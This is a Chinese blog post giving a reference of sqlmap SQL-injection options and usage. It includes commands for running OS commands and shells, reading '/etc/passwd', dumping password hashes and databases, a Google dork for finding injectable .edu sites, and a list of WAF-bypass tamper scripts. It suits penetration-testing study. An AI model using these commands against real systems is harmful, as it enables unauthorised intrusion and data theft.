sqlmap用法整理

关于sqlmap

sqlmap是一款sql注入神器,是国外黑客大佬结合渗透测试经验的精华所著。软件有中文使用文档,现结合常用参数整理如下。

查看帮助文档

-h
-hh 更详细的使用说明

使用随机user-agent请求头
--random-agent

使用特定的某一种或者几种注入手段,例如 时间盲注
--technique=T

指定注入参数
-p "id"

指定包含注入点的url
-u "http://www.test.com/index.php?id=12"

设置请求的cookie
--cookie="PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84;"

指定使用post方法请求时,post的数据
--data="id=3"

解析包含表单的页面参数
--forms

刷新session,用于对注入点的重新注入
--flush-session

使用默认的选项进行注入,无需用户输入和交互
--batch

面向初学者的友好参数
--wizard

使用十六进制解析数据
--hex

设置编码
--encoding=GBK

注册表操作
–reg-read Read a Windows registry key value
–reg-add Write a Windows registry key value data
–reg-del Delete a Windows registry key value
–reg-key=REGKEY Windows registry key
–reg-value=REGVAL Windows registry key value
–reg-data=REGDATA Windows registry key value data
–reg-type=REGTYPE Windows registry key value type

指定操作系统
--os=windows

操作系统相关操作
执行系统命令(非交互)
--os-cmd=whoami
执行系统命令(交互式)
--os-shell

–os-pwn Prompt for an OOB shell, Meterpreter or VNC
–os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC
–os-bof Stored procedure buffer overflow exploitation
–priv-esc Database process user privilege escalation
–msf-path=MSFPATH Local path where Metasploit Framework is installed
–tmp-path=TMPPATH Remote absolute path of temporary files directory

文件读写操作
读取文件内容
--file-read="/etc/passwd"

写入文件
--file-write="/path/local/file" --file-dest="/path/remote/file"

使用用户自定义函数
--udf-inject

暴力破解
当遇到access数据库或者mysql数据库版本较低(没有information_schema数据库)时,只能使用字典猜解数据库的表名和字段名等信息。
表名猜解
--common-tables
字段名猜解
--common-columns

设置请求延时(默认5秒),当网络较差时使用
--time-sec=6

设置注入等级,有些注入 例如cookie注入,需要较高的等级
--level=3

设置注入关键词,即当返回预期的页面时包含的某个字符串
--string="success"
也可以使用正则表达式
--regexp="uid\d+"

设置线程数
--threads=10

执行python代码
--eval="import hashlib;id2=hashlib.md5(id).hexdigest()"

使用HTTP参数污染
--hpp

开启参数优化
-o

请求之间的延迟
--delay=3

设置连接超时(默认30秒)
--timeout=15

设置遇到超时后的重试次数(默认3次)
--retries=5

使用代理

--proxy="http://127.0.0.1:8080"
--proxy-cred="name:password"
--proxy-file="proxy_list.txt"

指定user-agent
--user-agent="sadsadasd"

指定http请求方法
--method=PUT

指定请求头

-H "X-Forwarded-For: 127.0.0.1"
--headers "Accept-Language: fr\nETag: 123"

指定referer
--referer=REFERER

指定数据库类型
``–dbms=mysql```

指定payload的前缀
--prefix=PREFIX

指定payload的后缀
--suffix=SUFFIX

使用自定义脚本
--tamper=between
自定义脚本,是指用户可以根据需要,对sqlmap的默认payload进行自定义修改,例如使用替换、编码和函数对一些注入字符进行处理,达到绕过waf的目的,是sqlmap最强大的功能之一。

数据库指纹探测

-f
--fingerprint

执行sql语句(非交互)
--sql-query=QUERY

执行sql语句(交互式)
--sql-shell

执行文件中的sql语句
--sql-file=SQLFILE.txt

获取数据库banner信息

-b
--banner

查看当前数据库用户
--current-user

查看当前数据库
--current-db

查看是否为dba用户
--is-dba

解析数据库用户
--users

解析数据库账号密码hash
--passwords

查看数据库用户权限
--privileges

查看数据库用户role
--roles

解析数据库名

-D
--dbs

解析数据库中的表名

-T
--tables

解析数据表中的字段名

-C
--columns

数据表中数据条数
--count

导出指定数据表中的内容
--dump

导出所有数据库中数据表中的内容
--dump-all

解析数据库中的表名时,排除系统数据库
--exclude-sysdbs

sqlmap结合burp suite的使用
(1)单一请求
将burp suite中的某个请求保存到123.txt文件中

GET /r/collect?v=1&_v=j46&a=171173639*&t=pageview&_s=1&dl=http%3A%2F%2Fmuchong.com%2Ff-133-1-typeid-34&ul=zh-cn&de=GBK&dt=%2F%E5%B0%8F%E6%9C%A8%E8%99%AB%2F%5B%E5%A4%A7%E5%8C%BA%5D%E7%BD%91%E7%BB%9C%E7%94%9F%E6%B4%BB%E5%8C%BA%2F%5B%E6%9D%BF%E5%9D%97%5D%E8%99%AB%E5%8F%8B%E4%BA%92%E8%AF%86%2F%5B%E5%88%86%E7%B1%BB%5D%E8%AF%9A%E5%BE%81%E7%94%B7%E5%8F%8B&sd=24-bit&sr=1536x864&vp=1519x722&je=0&_u=QACAAEABI~&jid=798689456&cid=1166606190.1534286887&uid=570720&tid=UA-1947017-8&_r=1&z=1729239525 HTTP/1.1
Host: www.google-analytics.com
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.34 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Referer: http://www.baidu.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

注意在请求的”a=171173639“后面添加了星号 * ,表示a参数为待测试参数,使用sqlmap进行注入测试:
python sqlmap.py -r "C:\Users\Administrator\Desktop\123.txt"

(2)请求记录
将burp suite的请求记录导出到文件req.log,使用sqlmap进行注入测试:
python sqlmap.py -l "C:\Users\Administrator\Desktop\req.log"

将待测试的多个url保存到文件1.txt,文件内容举例:

http://www.a.com/index.php?id=1
http://www.b.com/index.asp?id=1
http://www.c.com/index.jsp?id=1

使用sqlmap进行注入测试:
python sqlmap.py -m "C:\Users\Administrator\Desktop\1.txt"

使用google搜索结果作为url输入
-g "inurl:php?id= site:edu"
由于国内对谷歌的访问较难实现,因此这个方法需要科学上网才行

tamper脚本用法整理
内容搬运自爱春秋

  1. apostrophemask.py 用UTF-8全角字符替换单引号字符

  2. apostrophenullencode.py 用非法双字节unicode字符替换单引号字符

  3. appendnullbyte.py 在payload末尾添加空字符编码

  4. base64encode.py 对给定的payload全部字符使用Base64编码

  5. between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”

  6. bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”

  7. chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)

  8. charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)

  9. charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)

  10. concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例

  11. equaltolike.py 用“LIKE”运算符替换全部等于号“=”

  12. greatest.py 用“GREATEST”函数替换大于号“>”

  13. halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释

  14. ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例

  15. lowercase.py 用小写值替换每个关键字字符

  16. modsecurityversioned.py 用注释包围完整的查询

  17. modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询

  18. multiplespaces.py 在SQL关键字周围添加多个空格

  19. nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器

  20. overlongutf8.py 转换给定的payload当中的所有字符

  21. percentage.py 在每个字符之前添加一个百分号

  22. randomcase.py 随机转换每个关键字字符的大小写

  23. randomcomments.py 向SQL关键字中插入随机注释

  24. securesphere.py 添加经过特殊构造的字符串

  25. sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs

  26. space2comment.py 用“/**/”替换空格符

  27. space2dash.py 用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符

  28. space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符

  29. space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符

  30. space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符

  31. space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符

  32. space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符

  33. space2mysqldash.py 用破折号注释符“–”其次是一个换行符替换空格符

  34. space2plus.py 用加号“+”替换空格符

  35. space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符

  36. unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”

  37. unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符

  38. varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF

  39. versionedkeywords.py 用MySQL注释包围每个非函数关键字

  40. versionedmorekeywords.py 用MySQL注释包围每个关键字

  41. xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值